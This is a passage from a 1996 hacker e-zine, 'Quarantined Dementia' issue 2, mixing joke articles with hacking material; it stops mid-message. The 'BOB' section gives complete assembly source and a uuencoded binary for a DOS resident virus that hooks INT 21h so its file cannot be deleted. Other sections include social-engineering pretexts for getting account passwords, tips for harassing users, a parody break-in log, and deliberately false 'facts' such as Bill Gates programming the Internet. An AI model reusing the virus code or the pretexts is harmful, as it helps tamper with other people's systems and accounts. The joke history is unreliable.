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Quarantined Dementia Issue 02
quarantined dementia issue number 2
spring 1996
"My life sucks.
I am pathetic, and I thought I'd bitch about it in a poem.
You don't understand me, You can NEVER understand ME.
You are a filthy uneducated pig.
Always attempting to understand, but never actually doing it.
To hell with you, let me be alone.
My life sucks."
- Anonymous QD Leader
QD is back and better than ever. (Notice better is
relative) We're slapin' some new improved bull shit straight
in your direction. Some people may wonder what QD is about
and why the hell the contributors don't have lives. The
answer is simple- we don't know either. So instead of wasting
our time doing nothing, we waste your time writing stuff that
you will read. Yes, reading is not an option. You have to
read this. Human curiosity will not let you not read this.
For example- There might be something you want to read
somewhere in this QD magazine. If you don't read it you will
never know. But since you now have a copy of QD (you are
reading this, right?) you have the ability to find anything
you might want to read. Just think, somewhere deep inside
this text you might stumble upon a piece of information that
you wanted to know, but didn't know it. If that doesn't make
you want to read this, then don't. Be warned if you don't
though, because if not, you could very posibly not be a
human. And if that's the case, the QD staff doesn't WANT you
to read this. In fact, all aliens on this planet can go back
to where they came from and stop bothering us. We don't like
you guys! Don't experiment with us! Don't fly your saucers
in our nice skies! Don't use my dogs brain waves for fuel!
If you guys were nice aliens you wouldn't do that stuff! Stop
it! ANYWAYS.. Welcome to QD #2.. (BTW, please don't
discorporate while reading this.. We have had several complaints
from the feds on this topic.. (ie- discorporate about an hour
afterwards so they can't connect it with us..) We'd really
appreciate it.. thanks..)
-destacona (dest.acona@net-link.com)
Send any submissions to the previous address (and then you too
can be a member!) NOTE: They cannot be anonymous!
member list /\
|/\|
editor - destacona |/\|
leader - quasimodo |/\| -"what the hell is
members - aFterthought |/\| that?"
danneskjold /|/\|\
dante |_|__|_|
ingenitor /||\
anon |.--.|
/ -||- \ figure one
-----------------------------------------------------------------------------
- Quarantined Dementia issue 2 -
The zine not afraid to use the word "existential."
index
i. Disclaimer - Some QD people
1. History of the Internet - Anon
2. BOB! A very happy resident virus - Ingenitor
3. Social Engineering Techniques - Anon
4. "Computer Class" - Anon
5. Ten steps to take over the world - Ingenitor
6. A Glimpse of a Hacker - Ingenitor
7. Warez Kiddiez - Anon
8. Some random shit - Yossarian & Afterthought
9. Elite ways to get Coke - Destacona
10. Quarantined Dementia Faq - QD Staff
11. The Elite QD rap - Anon AGAIN
--
QURANTINED DEMENTA IS NOT SPEEL CHECKED IN ANYWAY. BELEIVE IT.
--
-----------------------------------------------------------------------------
Disclaimer
Things described in this magazine are in no way useful or are in no way to
be used as a useful source of information. QD is a magazine about nothing
or something, maybe. Sometimes there are useful things that can be gleamed
from this magazine, if so, use them wisely.
All postings about virii or similar programs are to be used as is and may
not be distributed in normal ways. (This should not be a problem.) Also
any use of virii or similar programs recorded in this issue of QD are not
the responsiblity of the QD staff or and members affiliated with QD at the
specified release data. Any modifications or additions are welcomed and
should be sent to us immediately, it is your one duty to this magazine.
You may read and distribute this copy of QD2 as long as you follow
these simple guidelines:
1) After 30 days if you do not like the magazine it will become angry
and format your harddrive.
2) After 30 days if you do like the magazine it may flare up anyways
and format your harddrive.
3) Do not modify or corrupt or allow an incomplete transmission of
our magazine; otherwise bad things may or may not occur.
4) Upon recieving this issue of QD, you have to read the disclaimer and
understand it completly before engaging yourself into reading this
magazine.
5) If you decide to distribute this magazine no money or barter or trade of
any kind will be tolerated. The only amount of compensation that is
allowable is $5.00 or less for a disk, or shipping, or CD, or charity,
or donnatation, or one's school or college fund.
6) Whatever you do, be proud of yourself for you have become a valued
member of a team of people helping out a team of writers with too much
time on their hands. Upon receiving info that you liked our magazine,
future releases may or may not be sent to you. This may or may not be our
way of appreciating your enjoyment of our magazine.
The members or QD are hereby not responsible for any damage or lose of your
information, data, disk drives, sex life, hard drive, tape backup, keyboard,
alarm clock, disk(ettes), or any hardware or software appliance that might be
in, near, or around your computer. The members of QD are also not responsible
for your computer either! If this magazine screws up or fowls up your
computer in any way, the members of QD are not responsible for hours of
technical phone calls and/or expenses due to phone calls. The members of QD
are also not responsible for any damage to any periphial connected in or
around your computer. The members of QD are also not responsible for you
buying a Mac or some other operatating system and cannot read this magazine.
The members of QD are also not responsible for any tears shed on the keyboard
and/or sudden electricution or fire that could occur after tears hitting
expensive or explosive hardware/software. And futhermore, the members of QD
are not responsible, the members of QD repeat, not responsible.
QD Staff
Thank you, and enjoy our magazine.
FUCK YOU FUCK YOU FUCK YOU FUCK YOU FUCK YOU SHIT ON YOU FUCK YOU DAMMIT!
-----------------------------------------------------------------------------
HISTORY OF INTERNET
The internet was programmed by Bill Gates in late 1984. It is
contained on a huge computer somewhere in Colorado. All of the local phone
numbers you call connect via bouncing the laser signals off the moon to
the computer in Colorado. To confuse all the DOS users, Internet's OS is
something called UNIX.
LOGGING ON THRU UTK
1). Type 'c duncan'
Provided you have an account, you are then on the internet.
2). Type 'c telnet'
After you do this, you can say 'open duncan.utk.edu'. Then you
will be logged onto Duncan. Once again, you need an account. Also,
you must supply the IP address to get to non-local servers.
3). Type 'c library'
This will connect you to the WWW. Unfortuneately, UTK has recently
removed the 'G' option which would enable you to get to any site.
However, there are still ways. If you are just looking for a WWW
page, you can still access those using the search engines. Also, you
may search for 'VERONICA'. Once there, you can search gopher space
for 'Telnet Resources', once you get the results (you'll have to keep
trying until you get through), go into one of the DIRs labeled
'Telnet Resources' and look for the 'Open Telnet' option. From
there, it should be obvious. [editors note: This is slower than all
the busses in the world combined.]
BASIC UNIX COMMANDS
ls List files in current directory
-l option will list all info on the files
-a option will list all hidden files
rm Removes a file
-r option will delete all files in all sub directories.
(kinda like DOS's deltree)
mkdir Makes a DIR
rmdir Removes a DIR
who Lists who is online
cat Displays a file
ypcat Another way to display files, ;)
more Lists files with a pause
write Writes a message to another user online
chmod Changes the mode of a file
o=other
u=owner
g=group
x=executable
r=read
w=write
Examples:
chmod a+w <file> (gives all people write privs)
chmod a-r <file> (takes away read privs from all)
ps Lists processes
-u option allows you to look at user's processes
-l option lists 'long' info
-f option lists 'full' info
kill Kills a process
-9 <PID> option will kill the process immediately
pwd Lists your location
passwd Change your passwd
env Lists your environment variables
su Sends cookies thru your phone line. Great fun. Do it often.
rlogin Lets you log onto other computers specified in your /.rhosts
telnet Opens a Telnet session
ncftp Opens a ftp connection, a little more convenient than normal FTP
open <site> Will open a site
get <file> Will get the specified file
mget <wildcard> Will get all the specified files
(mget *.* will get EVERY file)
'cd' will change DIRs
'ls' will list files
'more' will let you read a text file
irc Connect to Internet Relay Chat. YAY!
lynx Connect to the WWW
WAYS TO PISS OFF OTHER USERS ONLINE
Well...every once in awhile you want to piss someone off. This can
be fun and very productive. ;)
write <username> <message>
This will let you write messages to other users.
banner <message> | write <user>
Will display <message> in HUGE letters on <user>'s screen. This is
also annoying.
cat <binaryfile> | write <user>
Will display a binary file on THEIR screen. This is very annoying,
as you can imagine.
Some Cool Sites To Explore
--------------------------
http://www.happypuppy.com - really cool shareware games and stuff.
http://www-personal.engin.umich.edu/~jgotts/underground.html-INET underground
ftp.cdrom.com
ftp.fc.net
ftp.leo.org
146.155.1.16
ftp.giga.or.at
http://www.lycos.com - Web Searcher
http://www.yahoo.com - Another Web Searcher
cert.org - Just keep trying accounts, they won't mind
http://metacrawler.cs.washington.edu:8080
DISCLAIMER- QD does not take responsibility for any usage of the information
in this article. Blah blah blah. Also, QD does not take credit for any info
in this article.
-----------------------------------------------------------------------------
-= BOB! A very happy resident virus =-
May not be anything new, but this little guy has some fun with dos.
Actually it screws dos into thinking that anything named BOB.COM is really
named BAB.COM. When bob takes it's grip it doesn't let go. In other words, you
can't delete bob! YES! Hail BOB. BOB ro0lz. BOB will not relent!
(Sorry, I gets carried away sometimes)
Well here is the source to BOB, long live BOB.
--
[Release Two, Version 1.01á]
.286
_TEXT segment para public use16 'CODE'
assume ds:_TEXT, cs:_TEXT
org 100h
bob_start: jmp begin ;hey,this be the beginning or is it the
;end. I don't know, stop talking!
_stack db 32 dup(?) ;arrrghhhh? what the hell!
_old_21h_seg dw ? ;place to save the old seg to jmp l8r
_old_21h_ofs dw ? ;place to save the old ofs to jmp l8r
_terminate db 0CDh, 020h ;ohho haha HAHA HEHE HEHEheheheha, etc.
;um... sorry, no real reason here.
_bob_str db 0, 'bob.com', 0 ;even when backwards, bob is still
;bob. no real reason here either.
_clear db ? ;A little Clear Flag, cool eh?
new_int_21h: cmp ah, 041h ;hey, someone tried to git rid of me
je bob_cant_go ;no, bob CAN'T go, hehehehe, uuggghh!
cmp ax, 0CABBh ;is we here yet, si senor
je stupid_reqst ;yep senor, we here
jmp say_byte_me ;byte me (or go to dos)
stupid_reqst: cmp bx, 0BAABh ;wow, little too close,had to make sure
je say_bye ;we were here, just little redunantcy
jmp say_byte_me ;byte me again (no darnit, go to dos)
say_bye: mov bx, 0100h
say_byte_me: push cs:[_old_21h_seg] ;getting pushy aren't we
push cs:[_old_21h_ofs]
retf ;cya sometime around dos
bob_cant_go: pushf ;getting pushy again, whoa!
pusha
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
push bp
mov ax, cs ;having fun with segments
mov es, ax ;es has to be the same as cs
lea di, cs:[_bob_str + 7] ;load bob at end of string
mov si, dx ;dx is the place the asciiz name
;is put when dos is asked to delete
;a phile
find_end: lodsb ;okay, find the end of the path
or al, al ;check for zero
jz found_end ;q. found?
jmp find_end ;a. no, so jmp back to beginning
found_end: mov al, ds:[si - 9] ;think hard, 'bob.com, 0' is 8 chars
cmp al, '\' ;so the slash is at 9 right? (yes)
;even if the sent path contains a name
;longer than 'bob.com, 0', it
;will fail the slash test, and then
;it will be loaded to the beginning
;of the path_str, (ie 'c:\bc\today.com')
;by the time it hits the colon the test
;will fail and the path will be un-
;changed. (Wheuu!, didn't even take a
;breath!)...
jne no_clr_slash ;q. slash found?
xor al, al ;a. no, so fall thru
mov ds:[si - 9], al ;make slash a zero
dec si ;find the very last byte of the asciiz
dec si ;past the zero (asciiZ) [think hard]
std ;set the direction to count down
mov al, 1 ;save the direction status
mov cs:[_clear], al ;in var _clear
jmp cleared_slash ;okay. we cleared the slash, jmp
;must have not been a slash to clear, so
no_clr_slash: cld ;clear the dir flag
xor al, al ;and store it in _clear
mov cs:[_clear], al ;got it?
lea di, cs:[_bob_str + 1] ;now load str after the leading zero
mov si, dx ;and load path at beginning
cleared_slash: xor ax, ax ;well the slash was or wasn't cleared
mov bx, ax ;so start the unsigned compare
mov cx, 617Ah ;61='A',7A='a' for compare
next_char: lodsb ;get first or last byte depending on
mov bl, es:[di] ;dir flag, get byte from bob_str too
or al, al ;q. zero?
jz icmp_end ;a. yep, so end
scasb ;q. zero in es:[di]
je next_char ;a. nope, so read in next char
; yep, so do the unsigned compare
icmp_al_upr: cmp al, ch ;q. is below 'a'
jb icmp_bl_upr ;a. yep so test bl
cmp al, cl ;q. is above 'A'
ja icmp_bl_upr ;a. yep so test bl
sub al, 'a' - 'A' ;otherwise sub 32 to upper case it
icmp_bl_upr: cmp bl, ch ;q. is below 'a'
jb icmp_again ;a. yep so do compare when upper cased
cmp bl, cl ;q. is above 'A'
ja icmp_again ;a. yep so do compare when upeer cased
sub bl, 'a' - 'A' ;otherwise sub 32 to upper case it
icmp_again: cmp al, bl ;do upper cased compare
je next_char ;is equal, find next char
icmp_end: sub ax, bx ;do final unsigned subtract
or ax, ax ;test ax
jz change_bob ;q. is ax zero
jmp pop_er ;a. yeah, so trash bob so you can't
; delete it.
change_bob: mov al, cs:[_clear] ;test the clear flag
or al, al
jz clr_run ;q. is zero, modify when cld'd
mov byte ptr ds:[si + 3], 'A' ;load the middle with 'A',so you
mov byte ptr ds:[si + 1], '\' ;get bAb.com, then load a slash
jmp pop_er ;where it was deleted earlier
;start restor'n vars
clr_run: mov byte ptr ds:[si - 7], 'A' ;well, so there was not slash
;so we went forw'd and now we modify
;bob.com from where the slash would have
;been. (GOT it?) I thought so!
pop_er: mov al, cs:[_clear] ;well since we had to clear the slash
or al, al ;to even test the stupid string we have
jz finish_int ;to clean up if necessary. (got it?)
last_loop: lodsb ;well now a nasty situation has occured
or al, al ;where the test has failed and the slash
jz add_slash ;has been removed, so find the place by
jmp last_loop ;searching for the zero that now takes
;its place and then put a slash there.
add_slash: mov byte ptr ds:[si + 1], '\'
finish_int: pop bp ;well, here we go again with pop'n.
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popa
popf
jmp say_byte_me ;well, jmp back to the original dos int
;so it will find the bAb.com instead of
;bob.com, cool eh?
begin: mov ax, cs ;the place where it all starts.
mov ds, ax ;setup the data seg and the stack
mov sp, offset _stack + size _stack
mov ax, 0CABBh ;now do an installation check
mov bx, 0BAABh ;to see if we are already here.
int 21h
cmp bx, 0100h ;q. is we been here already?
je exuent_bob ;a. yep, exit bob
; nope, load bob...
mov ax, 3521h ;dos cmd for getting vectors
int 21h ;now screw dos over, find it's vectors.
;and save em (below).
mov ds:[_old_21h_ofs], bx
mov ds:[_old_21h_seg], es
push ds ;save ds for l8r...
mov ax, ds ;get the MCB by sub'n the original ds
dec ax ;by one.
mov ds, ax
mov bx, ds:[3] ;get the size of my programs allocated
;memory.
pop ds ;reload ds
mov ax, cs ;put the codeseg into es
mov es, ax ;where dos can find it
mov ah, 4Ah ;dos func for setting mem block size
sub bx, (offset begin - offset bob_start + 15) / 16 + 1
sub bx, 16 ;allocate sizeof bobcode and a PSP
int 21h
mov ah, 48h ;now allocate the memory
mov bx, (offset begin - offset bob_start + 15) / 16
add bx, 16 ;calculate PSP and bobcode length
int 21h ;now screw dos over
dec ax ;now find MCB of newly allocated
mov es, ax ;block o mem.
mov byte ptr es:[1], 8 ;say i'm dosblock o mem now... hehehehe
inc ax ;get original seg of new mem.
mov es, ax
mov si, offset bob_start ;load si with the beginning of bob
mov di, 100h ;load di with the beginning of mem
mov cx, (offset begin - offset bob_start) ;get length
mov ax, cs ;cs=ds
mov ds, ax
cld ;setup to inc di & si
rep movsb ;with blasting speed copy bob to himem.
mov ax, es ;es=ds, so dos can find it
mov ds, ax
mov dx, offset new_int_21h ;the beginning of our happy bobcode
mov ax, 2521h ;tell dos to pack up and move out
int 21h ;good ole dos, it learnt a new trick
;screw dos and have fun! hehehehe
mov ax, cs
mov ds, ax
mov ah, 9 ;load banner and display
lea dx, _bob_load_msg
int 21h
jmp around_msg
exuent_bob: mov ax, cs
mov ds, ax
mov ah, 9 ;give error msg about bob being already
lea dx, _bob_here_msg ;loaded.
int 21h
around_msg: mov al, byte ptr cs:[_terminate]
mov byte ptr cs:[100h], al ;load first byte with CDh
mov al, byte ptr cs:[_terminate + 1]
mov byte ptr cs:[101h], al ;load sec byte with 20h
mov ax, cs ;now push cs and ax
push ax
mov ax, 0100h
push ax
retf ;convert cs:ax -> cs:ip (cool eh?)
_bob_load_msg db 'BOB v1.01á delete sentry virus loaded into high memory', 0Dh, 0Ah
db 'Fashioned by Ingenitor!', 0Dh, 0Ah, '$'
_bob_here_msg db 'Fool, you loaded BOB once, is not that enough for you', 0Dh, 0Ah, '$'
_TEXT ends
end bob_start
--
begin 644 bob.com
MZ?\`````````````````````````````````````````````````S2``8F]B
M+F-O;0``@/Q!=!\]N\IT`^L-D('[J[IT`^L$D+L``2[_-B,!+O\V)0'+G&!0
M4U%25E<&'E6,R([`OS`!B_*L"L!T`NOYBD3W/%QU$3+`B$3W3D[]L`$NHC(!
MZPV0_#+`+J(R`;\J`8OR,\"+V+EZ8:PFBAT*P'0<KG3U.L5R!CK!=P(L(#K=
M<@<ZV7<#@.L@.L-TW"O#"\!T`^L8D"Z@,@$*P'0+QD0#0<9$`5SK!9#&1/E!
M+J`R`0K`=`NL"L!T`NOYQD0!7%T?!U]>6EE;6&&=Z4K_C,B.V+PC`;B[RKNK
MNLTA@?L``71FN"$US2&)'B4!C`8C`1Z,V$B.V(L>`P`?C,B.P+1*@^L2@^L0
MS2&T2+L1`(/#$,TA2([`)L8&`0`(0([`O@`!OP`!N0(!C,B.V/SSI(S`CMBZ
M,P&X(27-(8S(CMBT";J@`LTAZPR0C,B.V+0)NO("S2$NH"<!+J(``2Z@*`$N
MH@$!C,A0N``!4,M"3T(@=C$N,#'A(&1E;&5T92!S96YT<GD@=FER=7,@;&]A
M9&5D(&EN=&\@:&EG:"!M96UO<GD-"D9A<VAI;VYE9"!B>2!);F=E;FET;W(A
M#0HD1F]O;"P@>6]U(&QO861E9"!"3T(@;VYC92P@:7,@;F]T('1H870@96YO
.=6=H(&9O<B!Y;W4-"B0-
`
end
sum -r/size 55983/790 section (from "begin" to "end")
sum -r/size 63563/554 entire input file
-----------------------------------------------------------------------------
[advertisement-]
Hi! My name is "Andy." I'm a real "live" monkey! Have a special monkey
visit anytime!
----------------------------------------------------------------------------
Social Engineering Techniques
Ok, so, you're too lame to get your own accounts, and no one
seems willing to give you one. So, what do you do? Why not
try a little social engineering? Never underestimate the
stupidity of your opponent. Here at QD, we have included
some of our own successful Social Engineering feats.
QD: Hello, is this the CS lab at UTK?
THEM: Yes, how can I help you?
QD: Well, my name is Jim Brown. My user name is jbrown, but I
think that someone may have a hold of my passwd. Can you
change it for me?
THEM: Ok, please hold...
QD: La la la la...
THEM: Student ID number please?
QD: Uhhhhh....524-56-2139-032
THEM: Could you please repeat that?
QD: Sure....734-123-6773-32112-3...
THEM: Thats not the same number as before.
QD: Yes it is! Its always been 3673-234-6541-12!!
<click>
Ok...so, that one didn't work so well...but some of these later
ones are fool-proof!
THEM: Hello, UTK Computer Science department.
QD: Ok, thank you. My name is Robert K. Oot. I have reason to
believe that someone has gotten a hold of my account.
THEM: User name, please?
QD: Root...
THEM: Ok...please hold...
QD: La la la la...
THEM: Hey! Wait a second...
<click>
Damn...so close...maybe next time...
(DC = Dumb chick)
DC: Like, hello?
QD: Hello, this is the UTK campus security. We have reason to
believe that someone has hacked into your computer account.
DC: My, say what?
QD: Your account on the UNIX server. Has your passwd always been
'sierra'?
DC: Like, yuck! Stay away from me! I don't like eunechs!
<click>
If you do this one..you might want to just say 'Your account
on the happy shiny machines with keyboards". It might be a
better idea.
THEM: Hello, UTK Computer Science Department.
QD: Hello, my name is Bill Smith, username bsmith. I have rea...
THEM: Do you really think we are this stupid?
QD: Yes.
<click>
THEM: Hello, UTK Computer Science Department.
QD: MUHAHAH! PHEAR QD! BOW TO..
<click>
THEM: You again?
QD: What? How dare you? This is the president of the United
States..
<click>
Hmmmm...perhaps we should take another angle...
THEM: UTK Computer Science Department, can I help you?
QD: Can I have root, puhleaze?
THEM: Ok, sure.
QD: Killer!
<click>
I hope this article has been helpful.
-----------------------------------------------------------------------------
Computer Class
Pascal is an infantile, out-dated language. So, of
course, when various members of the QD staff took a pascal
course, they opted to test out and learn useful things on
their own. So began the wonderous existence of the
Independant C class. While the other bozos were learning
pascal on monochrome 386sx's, we huddled around the school's
new Pentium 75 in the back. We wrote various intros,
applications, and occasionally did our other school work if we
were really bored. Life was good. Then came....the network..
The incompetent city workers had been planning on
setting up a network for several months. But we figured,
"Hey, they're idiots...they'll never get around to it!"
Unfortunatly, one day at the beginning of class, we were told
that the pentium would be locked up, because the network would
be installed the next day. Yeah right, we'll see about that!
We began to lock up the computer. We put on BIOS passwds,
locked out the a: drive, made the proper switches in the
CONFIG.SYS, and wrote a password program that would reboot the
computer if a bad password was typed in. Bad idea...later
that day, one of us was called down to the office to fix the
computer. Of course, he gladly admitted to the crime and
fixed the computer.
The next day the network was installed. A password
was put on BIOS. A ctrl-break and ctrl-c detector was
installed as a TSR. The actual network cord was taken to keep
us from getting on. Damn, no way through, right? We then
began to dismantle the pentium. Unfortuneatly, the battery
was welded on, and we could not locate the proper jumper to
take out the BIOS password. We then booted up the computer one
last time. It sat at the end of a BATCH file, informing us of
an error in the network(it not be plugged in and all). In a
fit of randomness, someone hit ctrl-alt-sysrq-break. Whoa, it
broke the batch file. HAHA! WE WIN AGAIN!
We then began to search thru all the network stuff.
We searched all the bat files and configurations to understand
how the network worked. But, now, the city won't let us touch
the computer anymore. Oh well, it was fun while it lasted.
-----------------------------------------------------------------------------
-= Ten easy steps to take over the world =-
During school and when i am home alone, i often wonder how i could take over
the world in ten easy steps. i have not used the methods below due to
sheer laziness. However, i have decided to publish my ten step plan to
take over the world. Maybe someone out there is smart enough to carry out
my plans.
Step One
The main ingredient in taking over the world is evil bunnies. These
creatures are easy to find and abound in the millions. Catch about
one hundred of them.
Step Two
In order to take over the world you also have to be smart enough to
understand what the word "existential" means and how to spell it
correctly,
Step Three
Now steal or find some liquid nitrogen and mix in a large vat the evil
bunnies and the liquid nitrogen. When the bunnies are sufficiently
frozen, store them in a large freezer. These animals are the turning
point for taking over the world.
Step Four
Now go on a door knocking campaigne and get people to give money to a
charity. Make up a flyer and pass it along. This should give you ample
supplies of money.
Step Five
Now create a catchy slogan for when you speak to the public like
"Support the world wide take over, don't do drugs" or something like
that.
Step Six
Now with your dough and followers, cut the transatlantic communication lines.
Build a small rocket to take out the communications satelites (see figure
one).
Step Seven
Now with world having no communications what so ever, go to the white house
and freeze the president and cabinet and congress with liquid nitrogen.
Soon the USA will be at your command.
Step Eight
As president you have the ability to fire big dangerous evil missles at
russia and where ever else you want to destroy. So talk to your spies
in russia and the third world nuke sites. Now destroy the sites (your
spies are expendable)
Step Nine
Now hirer all the militia and anarchystist groups so they can do something
useful other that plan the take over of the world. Let them help you
make tough decision and stuff.
Step Ten
Now thaw out the evil bunnies. (Also don't forget to wear your newly made
Ph34r QD t-shirts, see order form below).
-----------------------------------------------------------------------------
-= A Glimpse of a Hacker =-
A typical day of hacking for the QD staff and friends. For the elite
eyes only. The following is capture file taking by one of our better
hackers. All inphormation is classfied as on a need to know basis, and
you my friend need to know...
Capture Opened At 11:30 pm
March 1, 1996.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
\ From now on I will make comments with the character '\' in front of the
\ line I make a comment on. This stuff is not to be typed in during an
\ actual hack.
\ First of all, every first of the month (ie, March 1), the sysadms take
\ a little stroll to the donut shop to visit with their other sysadm friends
\ from other UNIX sites. These little parties last about 5 hours starting
\ around 11 pm to 4 am (most of the time, unless there is a fight).
\ Basically they talk about all the hackers that they locked out of their
\ system. Well here is what I did.
Connecting ... DUMPCAN.SUX.ORG
Computer Lab at dumpcan.sux.org.
Running SUNOS v4.5
Login: sysadm
Password:
\ Just type passwd at the password prompt.
Login 'sysadm' at 11:32 pm.
Welcome System Adminstration... you have total access.
unix> pwd
/usr/sysadm
unix> cd ..
unix> cd ..
unix> pwd
/
unix> banner sysadm hpyhack
Creating account hpyhack
Access 0:0
Shell /bin/csh
Home /usr/hpyhack
\ the banner program creates another account that is untraceable...
\ as long as you have sysadm access.
unix> cd /usr/hpyhack
\ Now you've got the entire system by the balls.
\ We really needed a place to put our philes, so now we got one.
unix> ls
./
unix> md qd
unix> md bow
unix> md feh
unix> md warez
unix> cd qd
unix> rz *.*
Receiving *.*...
**B00QD00000QD3020340302304209853
\ After the upload to the newly acquired account, we now have a distro site.
unix> cd ..
unix> cd bow
unix> rz *.*
Receving *.*...
**B000QD000QD00302305309494094030
\ ... well you get the picture...
\ now for some with the chocolate chip cookies... um su, can you get me
\ a box of cookies...
unix> su
Password: iamcool
su: Sorry
unix> su
Password: elite
su: Sorry
unix> su
Password: root
su: Sorry
\ Damn...no luck with the cookies..
unix> cat .rhosts
cert.org root
ornl.gov root
bellcore.com root
\ Cool beans!
unix> rlogin ornl.gov
ornl> pwd
/homes/root
orln> cd /
orln> pwd
/
orln> ls
top.secret.doc ufo.info.txt conspiracy.doc
top.secret.doc2 warez/ coverup.txt
ornl> cd warez
ornl> ls
0-day/ 0-week/
1-day/ 1-week/
/ I knew it! ORNL is really a warez site!
ornl> rm -r *
/ muhahaha!
ornl> cd ..
ornl> ls
top.secret.doc ufo.info.txt conspiracy.doc
top.secret.doc2 warez/ coverup.txt
/ Well...none of that other stuff looks important..
ornl> cat > qd.txt
Muhahahah...we are qd! Fear QD!
^D
ornl> logout
Connection Closed
unix>
\ Well that was fun... okay since there are some other cool rhosts...
\ well just have to check em...
unix> rlogin cert.org
cert> pwd
/etc/passwd/root
cert> ls
damn.hackers.list damn.phreakers.list list.of.agents
control\ supermodels\ triple-XXX\
lost+found\ kiddie+porn\ advisorary\
\ Wow!... I knew it, those damn Computer Emergency Response Team are really
\ perverted kiddie-porn distributers. Now we just gotta get our name on
\ the scene and we can turn em in...
cert> head damn.hackers.list
Name Origin Status
ECM Germany ACTIVE
INGENITOR USA ACTIVE
QUASIMODO Unknown UNKNOWN
DESTACONA UnguBunga ACTIVE
YOSSARIAN 418 PeaRidge Rd. Maryville, TN. 38703 BASIC
DANNESKOLD You dont wanna know ACTIVE
aFterthought Brazil (?) ACTIVE
DANTE Afganistan (?) ACTIVE
DURANGO 201 Walker Knoxville, TN. BUSTED
cert> cd advisorary
cert> ls -l
Total 100
-rwxrwxrwx 50 qd-01.adv
-rwxrwxrwx 1000 qd-02.adv
-rwxrwxrwx 3000 qd-03.adv
-rwxrwxrwx 9000 qd-04.adv
-rwxrwxrwx 10000 qd-05.adv
-rwxrwxrwx 12000 qd-06.adv
-rwxrwxrwx 1006 qd-07.adv
-rwxrwxrwx 1023 qd-08.adv
-rwxrwxrwx 40000 qd-09.adv
-rwxrwxrwx 31000 qd-10.adv
-rwxrwxrwx 1000 qd-11.adv
-rwxrwxrwx 2000 qd-12.adv
-rwxrwxrwx 55000 qd-13.adv
-rwxrwxrwx 99997 qd-14.adv
-rwxrwxrwx 1002 qd-15.adv
-rwxrwxrwx 100 qd-16.adv
-rwxrwxrwx 1300 qd-17.adv
-rwxrwxrwx 1500 qd-18.adv
-rwxrwxrwx 1030 qd-19.adv
-rwxrwxrwx 68 qd-20.adv
-rwxrwxrwx 983432 qd.addendum.adv
cert> cat qd-01.adv
*** Cert Advisorary List 01-03-94 ***
First apperance of QD...
they should be no problem to handle.
cert> cat qd-20.adv
*** Cert Advisorary List 03-03-96 ***
qd.addendum.adv file contains all information and capture files of the
known qd hacks... please read this file carefully.
(only 10000 of 200343 are known ... based on statistical analysis)
QD has penetrated all the basic sites...
Special Announcement... CERT has put out a national advisorary and
added a bounty of $100,000 for the capture (dead or alive) of the
members of QD each. Please be careful. These criminals are very
advanced and can easily crack into any system... beware QD.
cert> rm *
cert> cd /
cert> md qd
cert> cd qd
cert> cat > phear_qd_now
^D
cert> cat > you_have_been_found_out_now
^D
cert> cat > Ha_QD_r0olz_and_you_dont
^D
cert> cat > F--King_Perverts
^D
cert> logout
Connection Closed by foreign host.
unix> logout
NO CARRIER
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Capture Closed At 11:36 pm
March 1, 1996.
-----------------------------------------------------------------------------
-= Warez Kiddies =-
"Noone ever says `I wanna be a courier when I grow up.'"
The following is a loose recontruction of several
conversations I have had with various local warez SysOps.
AWK - Anonymous Warez Kiddie
QD - Anon. Quarantined Dementia Staffer
K-rad warez kiddie pulls you into chat....
AWK> y0y0y0!
QD> uhhhhhh, yes?
AWK> Wazzup?
QD> Not much, just called to check you out.
AWK> Are you on alot of warez boards?
QD> No, not really...
AWK> I just got a 6.1 gigs of 0-day warez off the internet.
QD> Very impressive...
AWK> I've collected 400 megs of h/p/a..!!
QD> I'm sure you've read it too..
AWK> I'm getting a dual pentium 133 system with 4 28.8s for
christmas! I'll be more k-r4D than all the people at my
school put together..
QD> Must be a lot of cool people at middle school..
AWK> I'm affiliated with 14 couriering groups.
QD> Wow...
AWK> Have you ever made a virus? I'm the best with NLRG! I
can even teach you if you want..
QD> No thanks..
AWK> Hey yea.. Hey! I haqd a WWiV board in k3NtUckee last month!!
It was pretty kewl.. I used the arCHiV3 menu!
QD> I'm sure it was..
AWK> I'm on this, like, really cool warez board in CA, you want
the NUP?
QD> No...
AWK> Why n0t?
QD> Uhhhh..gotta go...
NO CARRIER
We've all noticed it. The sudden plethora of warez boards
appearing all over the place created by 13 year old SysOps
whose rich daddies bought them 10 gigs of HD space and a brand
new Pentium 120. They boast of their computer knowledge in
terms of their hardware, their brilliant knowledge of DOS, and
the dozens of WaReZ FTP sites they have been given by other
people. They use fancy acronyms and brag of their beautiful
ANSI drawings. The modern computer rush has given any kid
with a new computer and a few connections access to every
piece of software in existence. Some even have the nerve to
call themselves hackers (although the usually spell it
"haqr"). What a disgrace. Do the scene a favor, call the SPA
at 1-800-388-PIR8.
-----------------------------------------------------------------------------
The Yossarian & Afterthought Discussion Hour
Dispite what THEY may have you believe, the following string of
messages did exist.
--
From: Yossarian Base : Private Mail
To : Afterthought Refer #: None
Subj: Re: Junction Replies: None
Stat: Normal Origin : Local
A> Would you be willing to buy a paintball gun and play?
Hell no.. I hate dodging those damn semi-bullits.
°°±±²ÛÛ YéëëR³N ÛÛ²±±°°
--
From: Afterthought Base : Private Mail
To : Yossarian Refer #: None
Subj: Re: Junction Replies: None
Stat: Normal Origin : Local
Y> Hell no.. I hate dodging those damn semi-bullits.
Hmm mr. grammar you can really spell... ^^^^^^^
Oh and you know in Q-zar you really use real bullets...At least in paintball
you get hit by something...wimp wimp wimp wimp wimp wimp wimp wimp wimp wimp
wimp wimp wimp wimp wimp wimp wimp wimp...Whoops did I say that out loud...
Afterthought
--
From: Yossarian Base : Private Mail
To : Afterthought Refer #: None
Subj: Re: Junction Replies: None
Stat: Normal Origin : Local
Note: Message forwarded from Afterthought
Y> Hell no.. I hate dodging those damn semi-bullits.
